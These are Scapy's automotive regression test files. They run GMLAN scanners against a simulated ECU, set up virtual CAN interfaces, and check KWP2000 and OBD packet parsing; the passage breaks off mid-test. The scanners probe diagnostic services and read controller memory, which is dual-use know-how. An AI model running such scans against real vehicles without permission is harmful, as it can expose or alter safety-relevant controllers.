assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0x200 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "asdfbeef1" in result assert "asdfbeef2" in result assert "beef3" in result assert "beefffff" in result assert "SubFunctionNotSupported received" in result ids = [t.req.identifiers[0] for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xffff in ids = Simulate ECU and test GMLAN_TPEnumerator resps = [EcuResponse(None, [GMLAN(service=0x7e)])] es = [GMLAN_TPEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0 assert len(tc.results_with_positive_response) == 2 assert len(tc.scanned_states) == 2 = Simulate ECU and test GMLAN_DCEnumerator resps = [EcuResponse(None, [GMLAN()/GMLAN_DCPR(CPIDNumber=1)]), EcuResponse(None, [GMLAN()/GMLAN_DCPR(CPIDNumber=2)]), EcuResponse(None, [GMLAN()/GMLAN_DCPR(CPIDNumber=3)/Raw(b"beef3")]), EcuResponse(None, [GMLAN()/GMLAN_DCPR(CPIDNumber=0xff)/Raw(b"beefff")]), EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode="SubFunctionNotSupported", requestServiceId="DeviceControl")])] es = [GMLAN_DCEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 ids = [t.req.CPIDNumber for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 255 in ids result = tc.show(dump=True) assert "SubFunctionNotSupported received " in result = Simulate ECU and test GMLAN_TDEnumerator conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 positive_responses_left = 4 def answers_td(resp, req): global positive_responses_left if req.service != 0x36: return False if not positive_responses_left: return False positive_responses_left -= 1 resp.service = 0x76 return True resps = [EcuResponse(None, [GMLAN(service="TransferDataPositiveResponse")], answers=answers_td), EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode="RequestOutOfRange", requestServiceId="TransferData")])] es = [GMLAN_TDEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0x1ff - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "RequestOutOfRange received " in result = Simulate ECU and test GMLAN_RMBAEnumerator 1 ~ not_pypy conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 memory = dict() mem_areas = [(0x100, 0x1f00), (0xd000, 0xff00), (0xa000, 0xc000), (0x3000, 0x5f00)] mem_ranges = [range(s, e) for s, e in mem_areas] mem_inner_borders = [s for s, _ in mem_areas] mem_inner_borders += [e - 1 for _, e in mem_areas] mem_outer_borders = [s - 1 for s, _ in mem_areas] mem_outer_borders += [e for _, e in mem_areas] mem_random_test_points = [] for _ in range(100): mem_random_test_points += [random.choice(list(itertools.chain(*mem_ranges)))] for addr in itertools.chain(*mem_ranges): memory[addr] = addr & 0xff def answers_rmba(resp, req): global memory if req.service != 0x23: return False if req.memoryAddress not in memory.keys(): return False out_mem = list() for i in range(req.memoryAddress, req.memoryAddress + req.memorySize): try: out_mem.append(memory[i]) except KeyError: pass resp.memoryAddress = req.memoryAddress resp.dataRecord = bytes(out_mem) return True resps = [EcuResponse(None, [GMLAN()/GMLAN_RMBAPR(memoryAddress=0, dataRecord=b'')], answers=answers_rmba), EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode="RequestOutOfRange", requestServiceId="ReadMemoryByAddress")])] ####################################################### scanner = executeScannerInVirtualEnvironment(resps, [GMLAN_RMBAEnumerator]) assert scanner.scan_completed tc1 = scanner.configuration.test_cases[0] assert len(tc1.results_without_response) < 10 assert len(tc1.results_with_negative_response) > 10 assert len(tc1.results_with_positive_response) > 50 assert len(tc1.scanned_states) == 1 result = tc1.show(dump=True) assert "RequestOutOfRange received " in result def _get_memory_addresses_from_results(results): mem_areas = [ range(tup.req.memoryAddress, tup.req.memoryAddress + tup.req.memorySize) for tup in results] return set(list(itertools.chain.from_iterable(mem_areas))) ############################################################ addrs = _get_memory_addresses_from_results(tc1.results_with_positive_response) print([tp in addrs for tp in mem_inner_borders].count(True) / len(mem_inner_borders)) assert [tp in addrs for tp in mem_inner_borders].count(True) / len(mem_inner_borders) > 0.8 print([tp in addrs for tp in mem_random_test_points].count(True) / len(mem_random_test_points)) assert [tp in addrs for tp in mem_random_test_points].count(True) / len(mem_random_test_points) > 0.8 print([tp not in addrs for tp in mem_outer_borders].count(True) / len(mem_outer_borders)) assert [tp not in addrs for tp in mem_outer_borders].count(True) / len(mem_outer_borders) > 0.8 = Simulate ECU and test GMLAN_RMBAEnumerator 2 * This test takes very long to execute ~ disabled conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 memory = dict() for addr in itertools.chain(range(0x10000), range(0xf00000, 0xf0f000)): memory[addr] = addr & 0xff resps = [EcuResponse(None, [GMLAN()/GMLAN_RMBAPR(memoryAddress=0, dataRecord=b'')], answers=answers_rmba), EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode="RequestOutOfRange", requestServiceId="ReadMemoryByAddress")])] scanner = executeScannerInVirtualEnvironment(resps, [GMLAN_RMBAEnumerator]) assert scanner.scan_completed tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) > 350 assert len(tc.results_with_positive_response) > 50 assert len(tc.scanned_states) == 1 addrs = [t.req.memoryAddress for t in tc.results_with_positive_response] assert 0 in addrs assert 0x10 in addrs assert 0xf0 in addrs assert 0x3000 in addrs assert 0x3090 in addrs assert 0xa100 in addrs assert 0xa1f0 in addrs assert 0xa200 in addrs assert 0xa2f0 in addrs assert 0xf000 in addrs assert 0xf0f0 in addrs result = tc.show(dump=True) assert "RequestOutOfRange received " in result + Cleanup = Delete TestSockets cleanup_testsockets() ================================================ FILE: test/contrib/automotive/interface_mockup.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # """ Default imports required for setup of CAN interfaces """ import os import subprocess import sys from platform import python_implementation from scapy.main import load_layer, load_contrib from scapy.config import conf from scapy.error import log_runtime, Scapy_Exception from scapy.consts import LINUX load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False # ############################################################################ # """ Define interface names for automotive tests """ # ############################################################################ iface0 = "vcan0" iface1 = "vcan1" try: _root = os.geteuid() == 0 except AttributeError: _root = False _not_pypy = "pypy" not in python_implementation().lower() _socket_can_support = False def test_and_setup_socket_can(iface_name): # type: (str) -> None if 0 != subprocess.call(("cansend %s 000#" % iface_name).split()): # iface_name is not enabled if 0 != subprocess.call("modprobe vcan".split()): raise Exception("modprobe vcan failed") if 0 != subprocess.call( ("ip link add name %s type vcan" % iface_name).split()): log_runtime.debug( "add %s failed: Maybe it was already up?" % iface_name) if 0 != subprocess.call( ("ip link set dev %s up" % iface_name).split()): raise Exception("could not bring up %s" % iface_name) if 0 != subprocess.call(("cansend %s 000#12" % iface_name).split()): raise Exception("cansend doesn't work") sys.__stderr__.write("SocketCAN setup done!\n") if LINUX and _root and _not_pypy: try: test_and_setup_socket_can(iface0) test_and_setup_socket_can(iface1) log_runtime.debug("CAN should work now") _socket_can_support = True except Exception as e: sys.__stderr__.write("ERROR %s!\n" % e) sys.__stderr__.write("SocketCAN support: %s\n" % _socket_can_support) # ############################################################################ # """ Define helper functions for CANSocket creation on all platforms """ # ############################################################################ if _socket_can_support: from scapy.contrib.cansocket_native import * # noqa: F403 new_can_socket = NativeCANSocket new_can_socket0 = lambda: NativeCANSocket(iface0) new_can_socket1 = lambda: NativeCANSocket(iface1) can_socket_string_list = ["-c", iface0] sys.__stderr__.write("Using NativeCANSocket\n") else: from scapy.contrib.cansocket_python_can import * # noqa: F403 new_can_socket = lambda iface: PythonCANSocket(bustype='virtual', channel=iface) # noqa: E501 new_can_socket0 = lambda: PythonCANSocket(bustype='virtual', channel=iface0, timeout=0.01) # noqa: E501 new_can_socket1 = lambda: PythonCANSocket(bustype='virtual', channel=iface1, timeout=0.01) # noqa: E501 sys.__stderr__.write("Using PythonCANSocket virtual\n") # ############################################################################ # """ Test if socket creation functions work """ # ############################################################################ s = new_can_socket(iface0) s.close() del s s = new_can_socket(iface1) s.close() del s def cleanup_interfaces(): # type: () -> bool """ Helper function to remove virtual CAN interfaces after test :return: True on success """ if _socket_can_support: if 0 != subprocess.call(["ip", "link", "delete", iface0]): raise Exception("%s could not be deleted" % iface0) if 0 != subprocess.call(["ip", "link", "delete", iface1]): raise Exception("%s could not be deleted" % iface1) return True def drain_bus(iface=iface0, assert_empty=True): # type: (str, bool) -> None """ Utility function for draining a can interface, asserting that no packets are there :param iface: Interface name to drain :param assert_empty: If true, raise exception in case packets were received """ with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty and not len(pkts) == 0: raise Scapy_Exception( "Error in drain_bus. Packets found but no packets expected!") drain_bus(iface0) drain_bus(iface1) log_runtime.debug("CAN sockets should work now") # ############################################################################ # """ Setup and definitions for ISOTP related stuff """ # ############################################################################ # ############################################################################ # function to exit when the can-isotp kernel module is not available # ############################################################################ ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): # type: () -> None """ Helper function to exit a test case if ISOTP kernel module is not available """ if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTPNativeSocket because " "kernel module isn't loaded") sys.exit(0) # ############################################################################ # """ Evaluate if ISOTP kernel module is installed and available """ # ############################################################################ if LINUX and _root and _socket_can_support: p1 = subprocess.Popen(['lsmod'], stdout=subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout=subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin=subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True # ############################################################################ # """ Save configuration """ # ############################################################################ conf.contribs['ISOTP'] = \ {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE} # ############################################################################ # """ reload ISOTP kernel module in case configuration changed """ # ############################################################################ import importlib if "scapy.contrib.isotp" in sys.modules: importlib.reload(scapy.contrib.isotp) # type: ignore # noqa: F405 load_contrib("isotp", globals_dict=globals()) if ISOTP_KERNEL_MODULE_AVAILABLE: if ISOTPSocket is not ISOTPNativeSocket: # type: ignore raise Scapy_Exception("Error in ISOTPSocket import!") else: if ISOTPSocket is not ISOTPSoftSocket: # type: ignore raise Scapy_Exception("Error in ISOTPSocket import!") ================================================ FILE: test/contrib/automotive/kwp.uts ================================================ % Regression tests for the KWP2000 layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic operations = Load module load_contrib("automotive.kwp", globals_dict=globals()) = Check if positive response answers sds = KWP(b'\x10') sdspr = KWP(b'\x50') assert sdspr.answers(sds) = Check hashret sds.hashret() == sdspr.hashret() = Check if negative response answers sds = KWP(b'\x10') neg = KWP(b'\x7f\x10') assert neg.answers(sds) = CHECK hashret NEG sds.hashret() == neg.hashret() = Check if negative response answers conf.contribs['KWP']['treat-response-pending-as-answer'] = False sds = KWP(b'\x10') neg = KWP(b'\x7f\x10\x78') assert not neg.answers(sds) conf.contribs['KWP']['treat-response-pending-as-answer'] = True = CHECK hashret NEG sds.hashret() == neg.hashret() = Check if negative response answers not sds = KWP(b'\x10') neg = KWP(b'\x7f\x11') assert not neg.answers(sds) = Check if positive response answers not sds = KWP(b'\x10') somePacket = KWP(b'\x49') assert not somePacket.answers(sds) = Check KWP_SDS sds = KWP(b'\x10\x01') assert sds.service == 0x10 assert sds.diagnosticSession == 0x01 = Check KWP_SDS sds = KWP()/KWP_SDS(b'\x01') assert sds.service == 0x10 assert sds.diagnosticSession == 0x01 = Check KWP_SDSPR sdspr = KWP(b'\x50\x02beef') assert sdspr.service == 0x50 assert sdspr.diagnosticSession == 0x02 assert not sdspr.answers(sds) = Check KWP_SDSPR sdspr = KWP()/KWP_SDSPR(b'\x01beef') assert sdspr.service == 0x50 assert sdspr.diagnosticSession == 0x01 assert sdspr.answers(sds) = Check KWP_SDS sds = KWP()/KWP_SDS(b'\x01') assert sds.service == 0x10 assert sds.diagnosticSession == 0x01 = Check KWP_SDSPR sdspr = KWP()/KWP_SDSPR(b'\x01beef') assert sdspr.service == 0x50 assert sdspr.diagnosticSession == 0x01 assert sdspr.answers(sds) = Check KWP_ER er = KWP(b'\x11\x01') assert er.service == 0x11 assert er.resetMode == 0x01 = Check KWP_ER er = KWP()/KWP_ER(resetMode="powerOnReset") assert er.service == 0x11 assert er.resetMode == 0x01 = Check KWP_ERPR erpr = KWP(b'\x51') assert erpr.service == 0x51 assert erpr.answers(er) = Check KWP_SA sa = KWP(b'\x27\x00c0ffee') assert sa.service == 0x27 assert sa.accessMode == 0x0 assert sa.key == b'c0ffee' = Check KWP_SAPR sapr = KWP(b'\x67') assert sapr.service == 0x67 assert sapr.answers(sa) = Check KWP_SA sa = KWP(b'\x27\x01') assert sa.service == 0x27 assert sa.accessMode == 0x1 = Check KWP_SAPR sapr = KWP(b'\x67\x01c0ffee') assert sapr.service == 0x67 assert sapr.accessMode == 0x1 assert sapr.seed == b'c0ffee' assert sapr.answers(sa) = Check KWP_SA sa = KWP(b'\x27\x00c0ffee') assert sa.service == 0x27 assert sa.accessMode == 0x0 assert sa.key == b'c0ffee' = Check KWP_SA sa = KWP(b'\x27\x01c0ffee') assert sa.service == 0x27 assert sa.accessMode == 0x1 = Check KWP_SAPR sapr = KWP(b'\x67\x01c0ffee') assert sapr.service == 0x67 assert sapr.accessMode == 0x1 assert sapr.seed == b'c0ffee' = Check KWP_DNT cc = KWP(b'\x28\x01') assert cc.service == 0x28 assert cc.responseRequired == 0x1 = Check KWP_DNMTPR ccpr = KWP(b'\x68') assert ccpr.service == 0x68 assert ccpr.answers(cc) = Check KWP_DNMTPR ccpr = KWP(b'\x68abcd') assert ccpr.service == 0x68 assert ccpr.answers(cc) assert (KWP()/KWP_DNMTPR()).answers(cc) = Check KWP_TP tp = KWP(b'\x3E\x01') assert tp.service == 0x3e assert tp.responseRequired == 1 = Check KWP_TPPR tppr = KWP(b'\x7E') assert tppr.service == 0x7e assert tppr.answers(tp) assert (KWP()/KWP_TPPR()).answers(tp) = Check KWP_CDTCS cdtcs = KWP(b'\x85\x01\x40\x00\x01') assert cdtcs.service == 0x85 assert cdtcs.responseRequired == 1 assert cdtcs.groupOfDTC == 0x4000 assert cdtcs.DTCSettingMode == 1 = Check KWP_CDTCSPR cdtcspr = KWP(b'\xC5\x00') assert cdtcspr.service == 0xC5 assert cdtcspr.answers(cdtcs) = Check KWP_ROE roe = KWP(b'\x86\x01\x10\x00') assert roe.service == 0x86 assert roe.responseRequired == 1 assert roe.eventType == 0 assert roe.eventWindowTime == 16 = Check KWP_ROEPR roepr = KWP(b'\xC6\x00\x01') assert roepr.service == 0xC6 assert roepr.numberOfActivatedEvents == 0 assert roepr.eventType == 0 assert roepr.answers(roe) = Check KWP_RDBI rdbi = KWP(b'\x22\x01\x02') assert rdbi.service == 0x22 assert rdbi.identifier == 0x0102 = Build KWP_RDBI rdbi = KWP()/KWP_RDBI(identifier=0x102) assert rdbi.service == 0x22 assert rdbi.identifier == 0x0102 assert bytes(rdbi) == b'\x22\x01\x02' = Check KWP_RDBI2 rdbi = KWP(b'\x22\x01\x02') assert rdbi.service == 0x22 assert rdbi.identifier == 0x0102 assert raw(rdbi) == b'\x22\x01\x02' = Build KWP_RDBI2 rdbi = KWP()/KWP_RDBI(identifier=0x304) assert rdbi.service == 0x22 assert rdbi.identifier == 0x0304 assert raw(rdbi) == b'\x22\x03\x04' = Test observable dict used in KWP_RDBI, setter KWP_RDBI.dataIdentifiers[0x102] = "turbo" KWP_RDBI.dataIdentifiers[0x103] = "fullspeed" rdbi = KWP()/KWP_RDBI(identifier=0x102) assert "turbo" in plain_str(repr(rdbi)) rdbi = KWP()/KWP_RDBI(identifier=0x103) assert "fullspeed" in plain_str(repr(rdbi)) = Test observable dict used in KWP_RDBI, deleter KWP_RDBI.dataIdentifiers[0x102] = "turbo" rdbi = KWP()/KWP_RDBI(identifier=0x102) assert "turbo" in plain_str(repr(rdbi)) del KWP_RDBI.dataIdentifiers[0x102] KWP_RDBI.dataIdentifiers[0x103] = "slowspeed" rdbi = KWP()/KWP_RDBI(identifier=0x102) assert "turbo" not in plain_str(repr(rdbi)) rdbi = KWP()/KWP_RDBI(identifier=0x103) assert "slowspeed" in plain_str(repr(rdbi)) = Check KWP_RDBIPR rdbipr = KWP(b'\x62\x01\x03dieselgate') assert rdbipr.service == 0x62 assert rdbipr.identifier == 0x0103 assert rdbipr.load == b'dieselgate' assert rdbipr.answers(rdbi) = Check KWP_RMBA rmba = KWP(b'\x23\x11\x02\x02\x11') assert rmba.service == 0x23 assert rmba.memoryAddress == 0x110202 assert rmba.memorySize == 17 = Check KWP_RMBAPR rmbapr = KWP(b'\x63muchData') assert rmbapr.service == 0x63 assert rmbapr.dataRecord == b'muchData' assert rmbapr.answers(rmba) = Check KWP_DDLI dddi = KWP(b'\x2c\x12\x44coffee') assert dddi.service == 0x2c assert dddi.dynamicallyDefineLocalIdentifier == 0x12 assert dddi.definitionMode == 0x44 assert dddi.dataRecord == b'coffee' = Check KWP_DDLIPR dddipr = KWP(b'\x6c\x12\x44\x01') assert dddipr.service == 0x6c assert dddipr.dynamicallyDefineLocalIdentifier == 0x12 assert dddipr.answers(dddi) = Check KWP_WDBI wdbi = KWP(b'\x2e\x01\x02dieselgate') assert wdbi.service == 0x2e assert wdbi.identifier == 0x0102 assert wdbi.load == b'dieselgate' = Build KWP_WDBI wdbi = KWP()/KWP_WDBI(identifier=0x0102)/Raw(load=b'dieselgate') assert wdbi.service == 0x2e assert wdbi.identifier == 0x0102 assert wdbi.load == b'dieselgate' assert bytes(wdbi) == b'\x2e\x01\x02dieselgate' = Check KWP_WDBI wdbi = KWP(b'\x2e\x01\x02dieselgate') assert wdbi.service == 0x2e assert wdbi.identifier == 0x0102 assert wdbi.load == b'dieselgate' wdbi = KWP(b'\x2e\x02\x02benzingate') assert wdbi.service == 0x2e assert wdbi.identifier == 0x0202 assert wdbi.load == b'benzingate' = Check KWP_WDBIPR wdbipr = KWP(b'\x6e\x02\x02') assert wdbipr.service == 0x6e assert wdbipr.identifier == 0x0202 assert wdbipr.answers(wdbi) = Check KWP_WMBA wmba = KWP(b'\x3d\x11\x02\x02\x02muchData') assert wmba.service == 0x3d assert wmba.memoryAddress == 0x110202 assert wmba.memorySize == 2 assert wmba.dataRecord == b'muchData' = Check KWP_WMBAPR wmbapr = KWP(b'\x7d\x11\x02\x02') assert wmbapr.service == 0x7d assert wmbapr.memoryAddress == 0x110202 assert wmbapr.answers(wmba) = Check KWP_CDI cdtci = KWP(b'\x14\x44\x02\x03') assert cdtci.service == 0x14 assert cdtci.groupOfDTC == 0x4402 cdtcipr = KWP(b'\x54\x44\x02\x03') assert cdtcipr.service == 0x54 assert cdtcipr.groupOfDTC == 0x4402 assert cdtcipr.answers(cdtci) = Check KWP_RC rc = KWP(b'\x31\xff\xee\xdd\xaa') assert rc.service == 0x31 assert rc.routineLocalIdentifier == 0xff assert rc.load == b'\xee\xdd\xaa' = Check KWP_RC rc = KWP(b'\x31\xff\xee\xdd\xaa') assert rc.service == 0x31 assert rc.routineLocalIdentifier == 0xff assert rc.load == b'\xee\xdd\xaa' = Check KWP_RCPR rcpr = KWP(b'\x71\xff\xee\xdd\xaa') assert rcpr.service == 0x71 assert rcpr.routineLocalIdentifier == 0xff assert rcpr.load == b'\xee\xdd\xaa' assert rcpr.answers(rc) = Check KWP_RD rd = KWP(b'\x34\xaa\x11\x02\x02\x10\x00\x00') assert rd.service == 0x34 assert rd.memoryAddress == 0xaa1102 assert rd.compression == 0 assert rd.encryption == 2 assert rd.uncompressedMemorySize == 0x100000 = Check KWP_RDPR rdpr = KWP(b'\x74\x02\x02\x02\x02\x03\x03\x03\x03') assert rdpr.service == 0x74 assert rdpr.maxNumberOfBlockLength == b'\x02\x02\x02\x02\x03\x03\x03\x03' rdpr.show() assert rdpr.answers(rd) = Check KWP_RU ru = KWP(b'\x35\x11\x02\x02\xa0\xff\xff\xff') assert ru.service == 0x35 assert ru.memoryAddress == 0x110202 assert ru.compression == 10 assert ru.encryption == 0 assert ru.uncompressedMemorySize == 0xffffff = Check KWP_RUPR rupr = KWP(b'\x75\x02\x02\x02\x02\x03\x03\x03\x03') assert rupr.service == 0x75 assert rupr.maxNumberOfBlockLength == b'\x02\x02\x02\x02\x03\x03\x03\x03' assert rupr.answers(ru) = Check KWP_TD td = KWP(b'\x36\xaapayload') assert td.service == 0x36 assert td.blockSequenceCounter == 0xaa assert td.transferDataRequestParameter == b'payload' = Check KWP_TDPR tdpr = KWP(b'\x76\xaapayload') assert tdpr.service == 0x76 assert tdpr.blockSequenceCounter == 0xaa assert tdpr.transferDataRequestParameter == b'payload' assert tdpr.answers(td) = Check KWP_RTE rte = KWP(b'\x37payload') assert rte.service == 0x37 assert rte.transferDataRequestParameter == b'payload' = Check KWP_RTEPR rtepr = KWP(b'\x77payload') assert rtepr.service == 0x77 assert rtepr.transferDataRequestParameter == b'payload' assert rtepr.answers(rte) = Check KWP_IOCBI iocbi = KWP(b'\x30\x23\xffcoffee') assert iocbi.service == 0x30 assert iocbi.localIdentifier == 0x23 assert iocbi.inputOutputControlParameter == 255 assert iocbi.controlState == b'coffee' = Check KWP_IOCBIPR iocbipr = KWP(b'\x70\x23\xffcoffee') assert iocbipr.service == 0x70 assert iocbipr.localIdentifier == 0x23 assert iocbipr.inputOutputControlParameter == 255 assert iocbipr.controlState == b'coffee' assert iocbipr.answers(iocbi) = Check KWP_NRC nrc = KWP(b'\x7f\x22\x33') assert nrc.service == 0x7f assert nrc.requestServiceId == 0x22 assert nrc.negativeResponseCode == 0x33 ================================================ FILE: test/contrib/automotive/obd/obd.uts ================================================ % Regression tests for the OBD layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic operations = Load module load_contrib("automotive.obd.obd", globals_dict=globals()) = Check if positive response answers req = OBD(b'\x01\x2f') res = OBD(b'\x41\x2f\x1a') assert res.answers(req) = Check hashret assert req.hashret() == res.hashret() = Check if negative response answers req = OBD(b'\x01\x2f') res = OBD(b'\x7f\x01\x11') assert res.answers(req) = Check if negative response request_correctly_received_response_pending answers not req = OBD(b'\x01\x2f') res = OBD(b'\x7f\x01\x78') assert not res.answers(req) = Check if negative response request_correctly_received_response_pending answers conf.contribs['OBD']['treat-response-pending-as-answer'] = True req = OBD(b'\x01\x2f') res = OBD(b'\x7f\x01\x78') assert res.answers(req) = Check hashret assert req.hashret() == res.hashret() = Check hashret for Service 0x40 req = OBD(b'\x40') res = OBD(b'\x7F\x40\x11') assert req.hashret() == res.hashret() assert res.answers(req) = Check hashret for Service 0x51 req = OBD(b'\x51') res = OBD(b'\x7F\x51\x11') assert req.hashret() == res.hashret() assert res.answers(req) = Check dissecting a request for Service 01 PID 00 p = OBD(b'\x01\x00') assert p.service == 0x01 assert p.pid[0] == 0x00 = Check dissecting a request for Service 01 PID 75 p = OBD(b'\x01\x75') assert p.service == 0x01 assert p.pid[0] == 0x75 = Check dissecting a request for Service 01 PID 78 p = OBD(b'\x01\x78') assert p.service == 0x01 assert p.pid[0] == 0x78 = Check dissecting a request for Service 01 PID 7F p = OBD(b'\x01\x7F') assert p.service == 0x01 assert p.pid[0] == 0x7F = Check dissecting a request for Service 01 PID 89 p = OBD(b'\x01\x89') assert p.service == 0x01 assert p.pid[0] == 0x89 = Check dissecting a request for Service 02 PID 00 p = OBD(b'\x02\x00\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x00 assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 02 PID 75 p = OBD(b'\x02\x75\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x75 assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 02 PID 78 p = OBD(b'\x02\x78\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x78 assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 02 PID 7F p = OBD(b'\x02\x7F\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x7F assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 02 PID 89 p = OBD(b'\x02\x89\x01') assert p.service == 0x02 assert p.requests[0].pid == 0x89 assert p.requests[0].frame_no == 0x01 = Check dissecting a request for Service 03 p = OBD(b'\x03') assert p.service == 0x03 = Check dissecting a request for Service 06 p = OBD(b'\x06\x01') assert p.service == 0x06 assert p.mid[0] == 0x01 = Check dissecting a request for Service 06 MID 00 p = OBD(b'\x06\x00') assert p.service == 0x06 assert p.mid[0] == 0x00 = Check dissecting a request for Service 06 MID 00,01,02,03,04 p = OBD(b'\x06\x00\x01\x02\x03\x04') assert p.service == 0x06 assert p.mid[0] == 0x00 assert p.mid[1] == 0x01 assert p.mid[2] == 0x02 assert p.mid[3] == 0x03 assert p.mid[4] == 0x04 = Check dissecting a response for Service 06 MID 00 r = OBD(b'\x06\x00') p = OBD(b'\x46\x00\x00\x00\x00\x00') assert p.service == 0x46 assert p.data_records[0].mid == 0x00 assert p.data_records[0].supported_mids == "" assert p.answers(r) = Check dissecting a response for Service 06 MID 00 and MID 20 r = OBD(b'\x06\x20\x00') p = OBD(b'\x46\x00\x01\x02\x03\x04\x20\x01\x02\x03\x04') assert p.service == 0x46 assert p.data_records[0].mid == 0x00 assert p.data_records[0].supported_mids == "MID1E+MID18+MID17+MID0F+MID08" assert p.data_records[1].mid == 0x20 assert p.data_records[1].supported_mids == "MID3E+MID38+MID37+MID2F+MID28" assert p.answers(r) r = OBD(b'\x06\x20\x00\x40\x60') assert p.answers(r) r = OBD(b'\x06\x20') assert not p.answers(r) = Check dissecting a response for Service 06 MID 00, 20, 40, 60, 80, A0 p = OBD(b'\x46\x00\x01\x02\x03\x04\x20\x01\x02\x03\x04\x40\x01\x02\x03\x04\x60\x01\x02\x03\x04\x80\x01\x02\x03\x04\xA0\x01\x02\x03\x04') assert p.service == 0x46 assert p.data_records[0].mid == 0x00 assert p.data_records[0].supported_mids == "MID1E+MID18+MID17+MID0F+MID08" assert p.data_records[1].mid == 0x20 assert p.data_records[1].supported_mids == "MID3E+MID38+MID37+MID2F+MID28" assert p.data_records[2].mid == 0x40 assert p.data_records[2].supported_mids == "MID5E+MID58+MID57+MID4F+MID48" assert p.data_records[3].mid == 0x60 assert p.data_records[3].supported_mids == "MID7E+MID78+MID77+MID6F+MID68" assert p.data_records[4].mid == 0x80 assert p.data_records[4].supported_mids == "MID9E+MID98+MID97+MID8F+MID88" assert p.data_records[5].mid == 0xA0 assert p.data_records[5].supported_mids == "MIDBE+MIDB8+MIDB7+MIDAF+MIDA8" assert len(p.data_records) == 6 r = OBD(b'\x06\x00\x20\x40\x60\x80\xA0') assert p.answers(r) = Check dissecting a response for Service 06 MID 01 p = OBD(b'\x46\x01\x01\x0A\x0B\xB0\x0B\xB0\x0B\xB0\x01\x05\x10\x00\x48\x00\x00\x00\x64\x01\x85\x24\x00\x96\x00\x4B\xFF\xFF') assert p.service == 0x46 assert p.data_records[0].mid == 0x01 assert p.data_records[0].standardized_test_id == 1 assert p.data_records[0].unit_and_scaling_id == 10 assert p.data_records[0].test_value == 365.024 assert p.data_records[0].min_limit == 365.024 assert p.data_records[0].max_limit == 365.024 assert "Voltage" in p.data_records[0].__repr__() assert "365.024 mV" in p.data_records[0].__repr__() assert p.data_records[1].mid == 0x01 assert p.data_records[1].standardized_test_id == 5 assert p.data_records[1].unit_and_scaling_id == 16 assert p.data_records[1].test_value == 72 assert p.data_records[1].min_limit == 0 assert p.data_records[1].max_limit == 100 assert "Time" in p.data_records[1].__repr__() assert "72 ms" in p.data_records[1].__repr__() assert p.data_records[2].mid == 0x01 assert p.data_records[2].standardized_test_id == 0x85 assert p.data_records[2].unit_and_scaling_id == 0x24 assert p.data_records[2].test_value == 150 assert p.data_records[2].min_limit == 75 assert p.data_records[2].max_limit == 65535 assert "Counts" in p.data_records[2].__repr__() assert "150 counts" in p.data_records[2].__repr__() assert len(p.data_records) == 3 r = OBD(b'\x06\x01') assert p.answers(r) r = OBD(b'\x06\x01\x01\x01') assert p.answers(r) r = OBD(b'\x06\x01\x02') assert p.answers(r) = Check dissecting a response for Service 06 MID 21 p = OBD(b'\x46\x21\x87\x2F\x00\x00\x00\x00\x00\x00') p.show() assert p.service == 0x46 assert p.data_records[0].mid == 0x21 assert p.data_records[0].standardized_test_id == 135 assert p.data_records[0].unit_and_scaling_id == 0x2F assert p.data_records[0].test_value == 0 assert p.data_records[0].min_limit == 0 assert p.data_records[0].max_limit == 0 assert "Percent" in p.data_records[0].__repr__() assert "0 %" in p.data_records[0].__repr__() assert len(p.data_records) == 1 r = OBD(b'\x06\x21') assert p.answers(r) = Check dissecting a request for Service 09 IID 00 p = OBD(b'\x09\x00') assert p.service == 0x09 